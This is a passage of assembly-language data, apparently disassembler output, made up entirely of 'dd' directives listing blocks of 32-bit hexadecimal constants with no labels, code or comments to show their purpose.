		dd 0ED98D1C8h, 1A2109BDh, 0D3EF7B59h, 0A18F7F94h, 9C54EECDh
		dd 4C61AC60h, 0C7E42B17h, 0DAE5670Fh, 0DC9F6702h, 327BFC67h
		dd 0FCDAEE50h, 983D8FB1h, 0BA86F438h, 22B0A37Ah, 7D92A56h
		dd 52A8F3DCh, 0EDF31830h, 0FB160B36h, 1FBCA8C0h, 2C268CE1h
		dd 0D8DD697Dh, 419FFDC6h, 14463D00h, 835DC6F4h,	34FC885Ah
		dd 0B82D66BFh, 0B7807A28h, 0CAA81794h, 0A84FBE7Eh, 434ADA2h
		dd 645A1A0Ah, 0D226F2DAh, 0ABA342E9h, 0DB72FACh, 81F88D2Dh
		dd 67A7CF0Dh, 0A525CB27h, 33F8EA8Bh, 0B5FC9CDCh, 0E2F5B849h
		dd 0E04EA26Fh, 6897556Ch, 294E8081h, 9F9FD3DAh,	314F4C1Bh
		dd 0BC3540F6h, 66CC7736h, 777FAC96h, 89F5E023h,	0CCE18183h
		dd 60C85A38h, 0F8826496h, 4B55AD6Ah, 0C39B8C7Fh, 47117D98h
		dd 3CCC77ABh, 5E94BB37h, 70D73F03h, 0A138B117h,	53D972FCh
		dd 0B1A9DB45h, 0F83D6BF9h, 30A947E1h, 230A63BEh, 0E9326277h
		dd 2ADF28A8h, 56BB0FAh,	79FB28DAh, 6B82E4E0h, 0E2F8BD2Ch
		dd 37C6FCECh, 0F289ED67h, 0B2E9CB51h, 0D10E68B6h, 4F611C57h
		dd 0A8A7FFF8h, 3CA698Ah, 2F123713h, 0CE5EF56Ch,	0A95AD65Eh
		dd 0DC3F0F27h, 0B77733A8h, 0A17F8371h, 7237DECEh, 8F022212h
		dd 0C6B16BF2h, 11DFAB25h, 3DAF4D8h, 61AA0FBAh, 0EB015DE8h
		dd 5454E66Bh, 7797ADACh, 31B46CD3h, 372E343Eh, 728BCBD2h
		dd 32BCDC96h, 0B8630BF5h, 33805D5Fh, 0C1AEEFD1h, 0C0FE8179h
		dd 9CDB390Dh, 432D247Dh, 0BB109895h, 2D505681h,	9D137752h
		dd 3514E0FAh, 252D8A09h, 53F41886h, 0C2DC3057h,	5AD14FE7h
		dd 0AEA48845h, 0DA162977h, 8643DBF2h, 8B6B3FB1h, 0CEDA5A2Bh
		dd 18CDCA97h, 32658EB1h, 0F95FC3AFh, 0A58FA0F7h, 533C0854h
		dd 0DB850605h, 2BB06DDAh, 7196BA8Ch, 0E582828Bh, 0FD9A9383h
		dd 9AA743F0h, 920E3089h, 0C6145A3Ch, 0AA843E81h, 1911E0C9h
		dd 628CBF2h, 0AE8B3CF6h, 4C40A35h, 9D34204Ah, 8BFA01C0h
		dd 72756870h, 0D2493EFEh, 0C597A030h, 56BA2550h, 884EEE9Dh
		dd 0EFFE3C16h, 5559CD7Eh, 7CA665D2h, 0D49A0F95h, 0B7561BFDh
		dd 51123879h, 315D6EC9h, 0BDE6F8ABh, 52CF0AA5h,	0DFA0672Bh
		dd 8098396Ah, 82E15B97h, 0D22377A9h, 0BF40C4EDh, 90B72AF1h
		dd 0FB1EF38Ch, 74F96334h, 0F4C52129h, 7723FF9Eh, 0B440BA67h
		dd 8B63B752h, 3C68754Ah, 0F6D940F8h, 292F3B76h,	53D4F943h
		dd 7B2CC0EBh, 0B92DCAE7h, 0D85B6562h, 9F351A09h, 0EA7B7FB9h
		dd 0A2FC6BB0h, 42DB28F2h, 0EEB3EBD4h, 3D12372Fh, 2EF3463Ch
		dd 7FC3FC6Ch, 0FAAB4B92h, 3DA52715h, 5FC5BE51h,	0E52FC2D6h
		dd 154E44B3h, 88BB6D06h, 48C2E707h, 0A82F7BF7h,	762637E3h
		dd 98AACA69h, 379DD5CFh, 0AD1F83Eh, 7B4C5D98h, 41FD42F5h
		dd 0C97EBA2Ch, 0D335FDE0h, 85563E3Eh, 4C51C333h, 5B3B99DDh
		dd 6CEEB99Fh, 835F9950h, 0D2C342C2h, 908C796Ah,	27462BA2h
		dd 72CDA427h, 43F0C508h, 7C430DF3h, 2E6359D5h, 0B2C94F87h
		dd 494521B3h, 0FB9074ABh, 0A766B84Ch, 0CEF2F9F4h, 0F8BAC621h
		dd 20AE470Eh, 79493C60h, 50DCC7BDh, 0EA779CD5h,	163143FAh
		dd 4CEE5167h, 389A325Fh, 8611B467h, 0DB25DFCAh,	94D4A7CEh
		dd 99F88E7Eh, 74754674h, 0F73FDFD5h, 2FBC1B2Eh,	0E2D95D28h
		dd 86A2410Ah, 0F17B7D15h, 5967651h, 75AE2A52h, 6F79497Eh
		dd 0B8CE2AC6h, 4D76BE06h, 0F7F720D6h, 1E8F944Fh, 0E6D9CD13h
		dd 0CA07CF7Ch, 3AFA7413h, 6A4D655Ch, 3868FC71h,	0E34C9DD2h
		dd 39EF7E12h, 2F2D064Eh, 8230C2FEh, 0C550AB7Dh,	7C4F9466h
		dd 57D9AFF0h, 24B79935h, 1AE5AF95h, 0E582E88Eh,	5D694A71h
		dd 431A2D86h, 0D929B6E2h, 6170A46Eh, 0AAF753F6h, 29B4E263h
		dd 53B44E98h, 49F45245h
		dd 0F0E118Eh, 215435BEh, 9CB73AD1h, 1B719A8Bh, 0E21672F3h
		dd 7265B86Bh, 4C61C4BBh, 0FF9659A3h, 79B1E301h,	0E450DC70h
		dd 0BD2D95ABh, 6423D519h, 517B1B4Ah, 53106AB7h,	0B6A66A0Ch
		dd 4B3C6F32h, 9D52D445h, 0DEFE93C6h, 92C1F345h,	0E0EA5285h
		dd 26A48DAh, 97EA644Fh,	0A9C4B996h, 4A62DC91h, 0F7FB3F1Ch
		dd 0BE66CCEDh, 34B363E9h, 0FEA27B4Eh, 996E5A4Eh, 2B741561h
		dd 74C80CDEh, 55543106h, 49F5C985h, 87529F6Ah, 502889DAh
		dd 722B511h, 49FC38EEh,	0F154FB40h, 0F20C8543h,	43B895D6h
		dd 0E56A67C1h, 532285FDh, 3EAC0A56h, 4B691B90h,	0F457A09Bh
		dd 63B492B0h, 3286C07Ah, 93D92EFh, 3EDAA95Fh, 0AEB7F0Bh
		dd 0A1BE7DF8h, 528678C9h, 6CB9DA38h, 0AEADBFD2h, 17EA5D27h
		dd 7B35C27Fh, 4A46E179h, 92B598DAh, 355FDDD7h, 0B45D29DCh
		dd 0AFCE9C74h, 0B273AC41h, 0D31CE432h, 7F2B21C8h, 9F59EEEFh
		dd 957EE2Bh, 0BF9C7EFh,	0DE5777B7h, 4BF4B8D3h, 444C72C0h
		dd 0AA5A0EB7h, 0A62F24B1h, 0AEDA2E48h, 0AACB42A2h, 3EFBB5C0h
		dd 0EFC7D830h, 74FF5413h, 45B487E2h, 6D4C65FCh,	0D2E7075Dh
		dd 54C66C2Eh, 7CB5D6C0h, 88AC47E5h, 0F8EE5532h,	3B46F303h
		dd 0AD336A2Fh, 0E5B82853h, 0DEB6E32Ah, 15A8806Bh, 0CA9143F1h
		dd 0E7E83E2h, 0BE61C87h, 5F4AD7CDh, 0CF81AAE1h,	0BB6F474Ch
		dd 53A4F0CEh, 677095E9h, 8ABAD78Eh, 0D131F322h,	40A177ECh
		dd 0C3136B65h, 0C1254F06h, 0FE624523h, 6A2A0585h, 0E8E27C62h
		dd 4B60178Eh, 0CF0C6B90h, 0C8274EAh, 5E020756h,	3C1CAAC9h
		dd 1A0E6ECEh, 0ABED18EAh, 84728D7h, 0A914C308h,	20554D75h
		dd 7B79E0F0h, 3F597B46h, 0C2AEA4D1h, 7937E471h,	0D8A8EDE0h
		dd 68EC9B79h, 106DAB1Ch, 0A9509D2Fh, 0C4A8EF81h, 271CA73Eh
		dd 2BF55045h, 74533E8Bh, 7D524D7Ch, 0EF4D42FDh,	9A8148B8h
		dd 0BDB29C12h, 0F2F0969h, 92F6DEBCh, 0C5EE1BF4h, 0C0DF1552h
		dd 0F9D74BF3h, 7F6FCAEBh, 1AFC29D1h, 0DCA44D27h, 9A376AAAh
		dd 0E34A834h, 330FCD6h,	0D0941730h, 43201558h, 697565ADh
		dd 19C50741h, 3E1DACD8h, 12ED36B4h, 0B1AC4C9Bh,	0DDF1FF7h
		dd 0EF5B1FBBh, 0D5C22E74h, 0D07A3DD3h, 35F92C36h, 0DD2A71B0h
		dd 8CB3D0A7h, 0C135BC81h, 0E1E81F57h, 54CD2F3Ah, 0D760E0BBh
		dd 57E9C6E9h, 0A60A6F49h, 0DDF27287h, 859508F5h, 92ECC7BAh
		dd 0D522EE7Ch, 9AF26932h, 0F03E82A7h, 0BC41708Bh, 0A675DB6Ch
		dd 93DDEAB9h, 7E2A651h,	63519E7Dh, 8574419Ah, 2FC7BB78h
		dd 0D54BA49Ah, 0DECEABE6h, 9545F4B1h, 0DEE8D058h, 2B46C2ECh
		dd 13DF2892h, 0CD89CEC6h, 3B1EEDFDh, 0D5F5236Dh, 5130491Fh
		dd 55E37F1h, 0ED0D28B5h, 257186A8h, 3A4BD41Ch, 13E7BFA9h
		dd 6C1A4566h, 0F72AA128h, 73B7EF75h, 0D28D3F1Fh, 2BB51E72h
		dd 0E90F6F8Eh, 0C1578341h, 0A95A4675h, 1B933F94h, 0EAC832FEh
		dd 0AA468461h, 0A6117BBEh, 50E5B63Bh, 9F1AD9E5h, 0A14CBBE5h
		dd 0FFCA647Fh, 571F88F8h, 0BB0EE161h, 61E2732Ah, 7ACAE3CFh
		dd 91BBAEADh, 0FFBE5BBh, 0E7FE0C3Fh, 0D20EE0BAh, 2EBE4295h
		dd 0A27B9C31h, 0EE6BF992h, 0BD354B78h, 56071B84h, 0FE4416E9h
		dd 69D2D770h, 4195E0AFh, 751CE6A4h, 1489ECA2h, 0FDA1A19Ch
		dd 0B085620Ch, 5BFCE766h, 0E07E749Bh, 640F7A6Ch, 0DBE2CBE8h
		dd 0D45A52CDh, 41F3B266h, 785B00B6h, 0AA6D2860h, 5A258B37h
		dd 0E97650CEh, 8C9B125Fh, 63463DAEh, 8558DEBBh,	8B1EA65Bh
		dd 25C18F4Dh, 0F1B5ACDCh, 0C0BFEBC3h, 0F99B9362h, 2F502667h
		dd 3D6C400Dh, 0F3C340F9h, 0E311ECEDh, 62DA59D8h, 8656B20Ah
		dd 5205FDFCh, 0EF68952Dh, 1ED34046h, 9C0A6D1Ch,	63232F6Dh
		dd 17F4CE46h, 0D43992A1h, 0E42E5FF9h, 3ECB232Ah, 0B4429DB3h
		dd 1716E151h, 426A8BDEh, 7FD5BA3Fh, 0AFDC45B5h,	5AC3ADF4h
		dd 3CC55401h, 0B5583EADh, 837A802h, 68DE5BFCh, 59D50AA1h
		dd 0BFD8E94Dh, 0FC31E371h, 0ECF7C3D0h, 70F1A9BBh, 4EE2946Bh
		dd 0B1F5EEEEh, 90B5E48Bh, 98F8563Ch, 33BC6D2Eh,	5DB619E0h
		dd 0FAB41354h, 9B3EEA13h, 0F81A53BFh, 56F6EBE2h, 0A47CCB7Bh
		dd 0A0F3A88Ch, 647CABDAh, 93C58476h, 55D435D0h,	55742362h
		dd 0B7A8B8C0h, 5AD15313h, 94BC5678h, 687FEE86h,	231AB257h
		dd 0D3297C2Fh, 0A04CC6C2h, 0DEE28DB1h, 1B58E49Ch, 0EDD9E4E9h
		dd 0AFE49440h, 0BF147617h, 0C023B4CFh, 5898CAC3h, 47C57DFEh
		dd 318CC56Ah, 0D1261D8Eh, 9C2706CAh, 81F9C22Ch,	0F3CD9693h
		dd 85B26866h, 5A1FE348h, 6D5EA1DDh, 9A6C0B5Eh, 25D066D2h
		dd 4A7ED061h, 0FC0E2ED3h, 0AEE4E030h, 0C8737E76h, 35797394h
		dd 0E204F824h, 15294482h, 0BC09EAF0h, 0E91FEF34h, 0AA543D15h
		dd 4C7182B4h, 0E8890515h, 0AD61457Ah, 7EA77C64h, 0E0972767h
		dd 7F76BC79h, 3E6FD11h,	4B34DF77h, 0C4B17F3h, 87E2F6F5h
		dd 4020B783h, 0B4D4FAF9h, 360B5932h, 24543E1Eh,	1F9ECB5Eh
		dd 1B749841h, 0C14B465Fh, 15DCCFDh, 2FE7FBA3h, 625B1581h
		dd 951ABD62h, 56005B28h, 0FC4B06CDh, 6EA4E8C8h,	0E7A69BE0h
		dd 0D1AEE6D1h, 129BB4E0h, 50AB3AE0h, 6C6DCBF7h,	96959A13h
		dd 49FF6D21h, 0D295F8DEh, 0B828E303h, 9FDFE175h, 87E3DF64h
		dd 417E1739h, 0A95A2525h, 90FB57E6h, 0D427375Bh, 51D4F746h
		dd 4582EBDEh, 0A32E216Bh, 0BF0B9D88h, 0AB326A66h, 172693F7h
		dd 12DFA86Ah, 257C2EE1h, 0B7A978BEh, 54C8058Bh,	5DBAFED4h
		dd 0A5483308h, 7E1C38D7h, 7851BD9Dh, 56F65BC3h,	65E0FD48h
		dd 257831CEh, 0EB93EE57h, 607250EAh, 0AA51E36Eh, 0F3EA252Dh
		dd 0C41062C0h, 3FF133EAh, 8BF1BF9Eh, 6F2FF172h,	8BDBE634h
		dd 0E13B6D75h, 0A4973B18h, 0F64A8C79h, 61A943F0h, 43DB0ABCh
		dd 3184C274h, 0DAC07CCDh, 7944DB77h, 8EB14A97h,	7D96BD3Bh
		dd 4FD0012Ch, 65806662h, 344749F9h, 0DA75B2F2h,	2A366AE8h
		dd 0A9ADEEFh, 0F5BA9555h, 92BB9923h, 472AA7F0h,	2CF53323h
		dd 0E1A6DE86h, 0B9D8A22Ah, 0DCACDE09h, 78632FE1h, 7C0F9B4Ch
		dd 0A2C4FF10h, 91B48F2Dh, 7525AA98h, 6C6FC557h,	5FE7FD7Fh
		dd 0D1EA9726h, 529DE895h, 7628FC81h, 0CBCD6595h, 2AF2AF84h
		dd 21AE6ECFh, 67687095h, 0DDC5CA22h, 9EA24DD4h,	0DFC7239Bh
		dd 0D127E775h, 0BD4AE547h, 0B5D56246h, 0A0BA7C74h, 384019FAh
		dd 7594892Ah, 0B8363296h, 6B0087ADh, 0FB06EBD6h, 672E4F76h
		dd 56DF60FEh, 35F62FB9h, 61ADED56h, 0A2DAF625h,	0D0479543h
		dd 0F98F3809h, 0DEDED34Fh, 777302E4h, 1E3C3AA7h, 26DEA43Ch
		dd 92D97548h, 0F913AB8Bh, 2CABF3Fh, 291CA169h, 1FBFA7D4h
		dd 0B54A836Dh, 787E03CEh, 5D57E551h, 7DD26F3h, 66AEC0FCh
		dd 2FDD6CB2h, 695D2A51h, 2AB721BFh, 0F7F6609h, 36525B47h
		dd 7A42155Fh, 6BF70AF1h, 0A145E7A1h, 0E81EE0F1h, 6F167A6Ch
		dd 0CEAC5F56h, 9C7A370Fh, 0E7C94635h, 0B8CAE8B9h, 0ED5A1F8Dh
		dd 2F681F7Ah, 0D99D91D1h, 0B77CE85Ch, 62FC6C71h, 6A778514h
		dd 0DC6EAA23h, 71698E0Bh, 93C1F0B0h, 4359DD3Fh,	0FCE22E77h
		dd 0A54D1DCBh, 0ED4578D8h, 81A2BF33h, 7447FC40h, 96D80655h
		dd 0CEF51181h, 0C6F1D72Bh, 7870BAE7h, 0B79E57B4h, 1F9520B0h
		dd 5F2A45B0h, 638C8B3Ah, 8C3DE0F9h, 0AC54DA96h,	2F36EA42h
		dd 79139C3Ch, 3F469FA8h, 215B69DBh, 10391BBFh, 7AFF39BDh
		dd 0FED31FC2h, 0F81A41ADh, 7DA66221h, 0D5365419h, 9A9A3E64h
		dd 66581046h, 0E7D187DFh
		dd 521AB356h, 2FA7A77Eh, 0AA6180A9h, 0CFB2B63Ch, 6AE1CDA8h
		dd 0AB21E685h, 59FE7191h, 2BEF81E0h, 0C221373Dh, 0FDAA5A87h
		dd 0D6B99F0h, 6FB11689h, 938B0B1Fh, 0D689B57Ah,	0DABBF089h
		dd 0CAA63C53h, 9DE97987h, 48C9B81Fh, 0F5488E6Bh, 28845867h
		dd 856155CEh, 9FC74AA5h, 39337D08h, 567302CAh, 2C5EC04Fh
		dd 0EFC79ABBh, 2147591Bh, 9BFC7F4Ch, 0AB307CEEh, 0FEB053DCh
		dd 35388606h, 789DFCD4h, 0F79AB23Bh, 6950EF54h,	1CE4BF47h
		dd 8BF5BDBBh, 704EAFF5h, 353E07Eh, 93C72985h, 9E2C9730h
		dd 0D4709338h, 0FD535F15h, 441CC94Dh, 4D4DCDE5h, 6D16DBC8h
		dd 0D95116F6h, 39B22D8Eh, 0C29FE460h, 0E5F0CF55h, 0AB3F33EAh
		dd 21B09C9Fh, 722D65B2h, 43F1D0ABh, 0ABDF1AD6h,	8DCBF368h
		dd 5837A9F1h, 0FAC37CCFh, 12FB0A50h, 1A813A98h,	709478DDh
		dd 8B8B68E2h, 0A82C6913h, 479569B8h, 5A2B738Bh,	0F02AEEDFh
		dd 17CBD299h, 0DDEECA21h, 4B9EFC3h, 0F83A891h, 0E172DDDCh
		dd 0F1E86A73h, 55F66504h, 0FB907F76h, 0A6747F48h, 18C07A12h
		dd 3FE3D7E4h, 0E5C4E0BBh, 8B8C968Ch, 0A80C13E7h, 6D1CA6Fh
		dd 0D0A07625h, 9951F48Ch, 0B382AA8Dh, 0EED28E68h, 5DBB196Eh
		dd 0CDEEE528h, 1FB6F5F5h, 1894EBC4h, 85A1A536h,	24ED21Fh
		dd 6898AFCCh, 0DA50EA8Ch, 0DDD4C8C4h, 0D887990Dh, 0D4BDAD16h
		dd 9CA3435Eh, 0F971ADF6h, 4F217D67h, 6B2B64F4h,	8F13D16Eh
		dd 4D61E46Eh, 0FD6DD2A6h, 0FDCD8BB1h, 906672Ah,	40EA38A0h
		dd 0F6DDF72Fh, 93765C4Dh, 7479E567h, 50148ED9h,	0D350A69Ah
		dd 0E75A0081h, 2C85255Ah, 0BD914E4Eh, 0A8D6961h, 0CCD98681h
		dd 0B1B800D1h, 14DA2F2Ah, 87E3D895h, 202075D3h,	0BB90BD71h
		dd 1BF6B462h, 62308C4Bh, 0AF404EAAh, 0A202BB89h, 0B257D72Eh
		dd 1F36FA8Dh, 47B53918h, 4089F683h, 282A17E3h, 0B2EE18EFh
		dd 3797B472h, 0B6E2DD86h, 0B643DC58h, 0BEAE99B9h, 3ACE5AD5h
		dd 0C8D4C936h, 4A44A932h, 0B3E0ED11h, 0DD8A8614h, 5E33687Dh
		dd 0E297B17Eh, 3FCE7369h, 69ECFDD3h, 0EAE7B4CBh, 39BD987Fh
		dd 0C2D13C99h, 3B0A869Ah, 0A02918E8h, 296E8A14h, 0E4025D56h
		dd 3D4E0F89h, 715F1BAFh, 25CAB120h, 0F7AD8545h,	95FA18CCh
		dd 0E353D137h, 912FC8A2h, 0F66FB06h, 0AF7DBF1Ch, 9D234991h
		dd 0FFA18559h, 0CC6F47A8h, 0C2C211DEh, 0CE700E79h, 91521D8Bh
		dd 197DD78h, 895F92EFh,	7D36FB47h, 0BBF66B56h, 6AD095B4h
		dd 0C806BFEFh, 79EB25CAh, 615AD78Dh, 0DAF64576h, 8ECE45B4h
		dd 7F649E0Fh, 47F83AF9h, 21FE5CFCh, 0F3EE74E4h,	9662AB3Eh
		dd 4AA05D71h, 52E056C5h, 0BD6FFF49h, 0D0D476A5h, 907262B6h
		dd 0EE4A1F22h, 29F8713Eh, 0E545B8AEh, 9F52FF32h, 8499FE0h
		dd 57372FEFh, 12659F65h, 0D717B653h, 0B2EFACFAh, 0B395ADABh
		dd 0EF471E7h, 0E2645E2Ch, 93C7854Eh, 0A9CD512Fh, 0D85B4064h
		dd 0E7D2BB90h, 0CAD0AB6Dh, 614139C0h, 0AE5D6CFAh, 0F87BE539h
		dd 0E97A4A70h, 5CFE2416h, 0CD30D179h, 0BF274DEBh, 0E7B15AADh
		dd 36533286h, 3EA8C3A6h, 546468B8h, 0D6C3D94Eh,	265A1134h
		dd 34E39E27h, 3A2AA72Dh, 0D57B4759h, 3920DA4Ah,	64C5457Ah
		dd 0A3281BEDh, 0ECAD8CF2h, 0B94D020Ch, 0B758C56Ah, 88D9B17h
		dd 0B55A1660h, 9739A2D5h, 0AF19344Fh, 0B67E8E41h, 0DBDB5032h
		dd 40AAB654h, 518A4F5Ch, 615E069Dh, 33163C28h, 357A0D28h
		dd 1B3A07DBh, 6FE7ADB5h, 21C1F403h, 0D6A5A02Bh,	607E25DCh
		dd 0E41EFADFh, 0C53DB33Fh, 0E37F705Fh, 5AD7DD6Bh, 0B5B37E19h
		dd 47308748h, 0DE333858h, 0A8DA3F0Bh, 7FE5356Ah, 0C6CF3750h
		dd 0FC9DC1C8h, 0AA39C3F1h, 775D40B0h, 97863697h, 456E69A9h
		dd 715F74B4h, 29CFEF7h,	0B305326Dh, 0EC2E0A75h,	0B56E8F55h
		dd 80CBD95Ah, 5DEDBB9h,	74B3DBCh, 7C9A3B69h, 0F550EFC0h
		dd 5F86B39Fh, 958B79BEh, 0C72F2D5Bh, 0E306E186h, 115EFD7h
		dd 309A6417h, 0A375D032h, 7A317E6Ch, 0A73B68BEh, 10FC24F6h
		dd 0AABA6CD0h, 0C93144C6h, 3C8BC351h, 3C78297Bh, 45DBFE38h
		dd 7CCE7B11h, 0EBB3BA1Fh, 4D5AFBF8h, 3775EF72h,	74EB9842h
		dd 0B57D875Ch, 9C83460h, 5C32D435h, 64B7FB43h, 87976E4Bh
		dd 652DC6E5h, 0B4235499h, 8AD3DA07h, 0E318E5CBh, 0FF9525EBh
		dd 97B1AEFh, 75B35A23h,	49543298h, 81182B4Bh, 0E322E52h
		dd 5877A408h, 44DAA6C5h, 1D35E7FEh, 0A1EE606Dh,	40219B06h
		dd 21F89E34h, 4420865Eh, 0C9123394h, 0E5C27D36h, 2B5EE97Dh
		dd 666954D5h, 0C95365D0h, 0FF38B29Ah, 8BBFB458h, 0E71A670Ch
		dd 9F327D56h, 25FFA0BEh, 0ED099560h, 0B405555Fh, 5A1D3E0Ah
		dd 9911FE3h, 4DE9A193h,	0F4252CBAh, 44A9CBC0h, 3ACBD3FAh
		dd 774991B2h, 2068417Bh, 0D71CBD9Ch, 0F0A6CEA9h, 7E5904C0h
		dd 0B2FF37AEh, 0A2055132h, 0BE61AF7Fh, 8DA388E4h, 0A4EB9681h
		dd 0AE1E8B58h, 91A29C43h, 8AF90371h, 1B875EA2h,	0D6E43935h
		dd 0F4EAACF2h, 0B3F971D5h, 35AAEF5Fh, 0C6ADFE7Ch, 6C2F74F9h
		dd 1A5126BEh, 645CB591h, 0E188B181h, 974A5E25h,	38B889E0h
		dd 0EEECFD37h, 0CCDBAF43h, 0E78528B5h, 54757D89h, 0D6DC9CC6h
		dd 0EC96805Fh, 478C2AA5h, 9A7A3B37h, 0FD17FEC0h, 82C33AEFh
		dd 945FA989h, 24F615ADh, 81149175h, 3C6FD560h, 0C54E7F2Dh
		dd 0D517E4B7h, 6DED15E1h, 5687D10Fh, 2BEA3371h,	3E0F2D6h
		dd 345E7F1Fh, 0EE759552h, 59D78233h, 5691AC8Dh,	0D6A11126h
		dd 0D68E79CFh, 3DE6B264h, 0CFF7153h, 5D54DA8Fh,	4657DCFCh
		dd 0BA654AF8h, 92FC4FF1h, 0E11E63Ah, 0ECEEC07h,	0C0500D03h
		dd 42EB9727h, 0C6B8E269h, 23524B6h, 1ECB3BB9h, 7D9FFC0Fh
		dd 0F3FD25AAh, 0EBA162C8h, 4B1FE274h, 82A57F7Ch, 7B963BBEh
		dd 9CC2BAB9h, 508F8429h, 569A8FCAh, 115725A1h, 0CFF6ABC4h
		dd 4ACBCDA6h, 0E86DD699h, 439F236Dh, 88EBBAF0h,	0B616BAAh
		dd 0D7B059EEh, 0E0591D50h, 0CC5F16C7h, 0C185A7B2h, 0FDD56B03h
		dd 89D86A89h, 0AD1C3B4Ah, 47CCCFC4h, 6F7549B3h,	0C5986E7Ah
		dd 0FD3F7EA1h, 9DD833Eh, 6B1D5929h, 0D53F5695h,	0E130259Eh
		dd 3BF67309h, 0AD14B0E6h, 67223F55h, 7456AA85h,	3DC0DDA5h
		dd 12C536C8h, 5B5B74F8h, 0D1A6A28h, 0DC70EC95h,	4ED3F7A5h
		dd 78942634h, 5B673CBCh, 0E1267B5Fh, 7E7D7EB8h,	0C04465F8h
		dd 0B583669Ch, 0F35EC2BEh, 156A8EF9h, 0AAAD52FEh, 4926E8ACh
		dd 7EE69903h, 6E6DE566h, 18E79DD0h, 0A7A573BCh,	547D89F2h
		dd 0D8A3395h, 0F1DAA9FDh, 956CF6E7h, 0F14D7520h, 1A3F0F7Ah
		dd 8D635D14h, 42A19A77h, 98578913h, 0FB346839h,	2FE82594h
		dd 0AA722467h, 1E56CF8Dh, 55777518h, 271C1F75h,	0AB8369BDh
		dd 593B77B4h, 0ED954F71h, 3A4B539h, 93259922h, 0DB98A160h
		dd 0B03DF108h, 0D64BB27Dh, 0BCAD6C3Fh, 610DFB58h, 0BC357A6h
		dd 656DBE8Bh, 0B4FC53B7h, 0B393B039h, 0B6CD7F9Dh, 54AEB7CCh
		dd 2F1B9E9Ah, 0FF226356h, 0F23E45D6h, 0DEAB532Ah, 5FA2FE04h
		dd 0CB45399Dh, 79BCE099h, 7DEB7249h, 9B483429h,	654BBCEAh
		dd 0E029A4E7h, 6676AE1Bh, 327A12E5h, 3825D37Ah,	5688D418h
		dd 6F04F465h, 2897C4D2h, 95A05A65h, 8DCC9DD7h, 0C343C34Bh
		dd 10BF9142h, 0CEF689C9h, 0AAAEFCA7h, 68C1CB5Dh, 9CD7CDE1h
		dd 8F88DE60h, 69E9712h,	3F05EFB1h, 7C025DA4h, 24893656h
		dd 48FF8D8h, 431461B4h,	7BA87B22h, 7BA8F452h, 0FC4BC6AFh
		dd 59E1BE6Fh, 476BB9CCh
		dd 546DB67Ch, 51FBAAF9h, 3F1046Ch, 5DC7B567h, 0A99FDC50h
		dd 63503496h, 0A11A3547h, 0E70F7ABCh, 5D7E595Fh, 0E59C3702h
		dd 92EA32D1h, 0E86F68D5h, 3BFC59F5h, 380C594Ch,	3A6E1A2Dh
		dd 622422E5h, 0F47FB5A6h, 96E98EB6h, 8B448ADDh,	8E62862Ah
		dd 0F43B3FF5h, 2C02D8C7h, 37D75AA6h, 0CD52BE32h, 2B446D62h
		dd 0F36AFF90h, 0A3D3DDD9h, 0C1215645h, 7B4014Eh, 0CD51C1E3h
		dd 0A35F9E0Ah, 31120AB7h, 17983C47h, 92EA9DA8h,	15A7EF14h
		dd 0B5241BABh, 0BCA96675h, 0FF202520h, 9F1EA1D6h, 0C12645C7h
		dd 102382C9h, 0B2F1E8BEh, 0B4B49599h, 0BF58776Ah, 0BA2DBA13h
		dd 0F9BB5EAh, 0B1A8904Ch, 9832C662h, 13450248h,	148F5CBCh
		dd 145A7F3Eh, 0E4292945h, 5D832081h, 0FDB2181Fh, 0BA5513B3h
		dd 0AF2F4475h, 0C5222BFAh, 0F403642Eh, 46DDED2Fh, 19EE12ACh
		dd 6B8E6821h, 0E57AAD12h, 0FE22FFE8h, 9C4E4C21h, 3AE38CB5h
		dd 0A2F52D4Eh, 0ACD73148h, 33B8130Bh, 3FBEB463h, 86BD8A78h
		dd 57B3F0B5h, 0FF8624DAh, 0B626B8A4h, 708CA1CCh, 0AA880B64h
		dd 2CAE4AEEh, 289D9C57h, 4A8D91D7h, 84325B5Ch, 619ECD9Ch
		dd 434BAC40h, 11498946h, 0CDB2C675h, 73A4F4BEh,	9517A56Dh
		dd 516C1B8Ch, 4DE4E538h, 417F466Bh, 3F9621Dh, 226A00C3h
		dd 6E22885Bh, 3374F2C2h, 0C820C29Dh, 5AA5E6A9h,	0CF97FFB1h
		dd 3AFC7E96h, 58148A17h, 88A83FB3h, 5DDB35EEh, 0BB3BE854h
		dd 697FAB7Ah, 0CD756A28h, 94B19EC6h, 26CBD7FAh,	739B9C85h
		dd 52CE987h, 0E97FB67Eh, 0F3D98BEAh, 0C3C3DF0Bh, 0D5A03DA5h
		dd 87EFC117h, 0BACE7563h, 9535F703h, 3E33899Ch,	0A8C37A9Ch
		dd 6B907671h, 0EF1B1D39h, 0C9CFA738h, 96ED3FCFh, 0E63E5A25h
		dd 62D18676h, 0A168CDC1h, 5FE413EEh, 0FC7C91DEh, 0E0121932h
		dd 24042AE2h, 8B65B0D9h, 3D484DBEh, 0A62F0B5Bh,	0FE026FA4h
		dd 0CC979F2h, 5A200ABEh, 7A7571C5h, 8F7E75C2h, 0B024FC91h
		dd 49803612h, 0D5CB5209h, 0A52BC369h, 63A9EED9h, 691BF63Ch
		dd 34191A91h, 5367BA4Eh, 29695242h, 0FF106C3Dh,	0B3F36C83h
		dd 5EEC6798h, 9B5D3C04h, 98AD6840h, 15E6666Ah, 6E2452B4h
		dd 53E9486Ch, 0AFCEC49Fh, 4B618FF0h, 0D47BB682h, 2AEB0D94h
		dd 58ACEDA3h, 126796E2h, 0A7C52C45h, 697EEC31h,	0BDCF4E62h
		dd 0CC3BFF3h, 0CAEE32ABh, 91B532C5h, 3D8B6376h,	0C180996Ah
		dd 16DE2ED0h, 8449FF6Fh, 7F655097h, 0DAF421F8h,	0B31D71C6h
		dd 326462EBh, 0DC507AD0h, 1611BA08h, 0E5D7C83Dh, 4540DF73h
		dd 19893AB1h, 0E267BB4Bh, 0DA4DDCCh, 0EC60D0FCh, 16A3A8E1h
		dd 12AAEAE8h, 6555CE8Fh, 0D320358Ah, 0AAC05445h, 0ADD64B86h
		dd 0D111D267h, 5E4F6E8Ah, 0EB23100Fh, 0D8EDBF03h, 88D6F281h
		dd 98821057h, 0E9339DE7h, 0B66D3195h, 41E94AB2h, 0B3D7932h
		dd 0BE72ADD3h, 4A48A84h, 2E3593B6h, 0BD6394C3h,	1C08A2D7h
		dd 8B69C5AAh, 0FC359AF6h, 0BB9DFAF0h, 0ECAB3EA6h, 0E4DDE201h
		dd 902920E0h, 0DC0BC56Ch, 7FE9B8A5h, 0BF9AFBBEh, 0E0CC0ECCh
		dd 0B7938FE7h, 85DA4120h, 0A95306EDh, 96627FA2h, 69191B29h
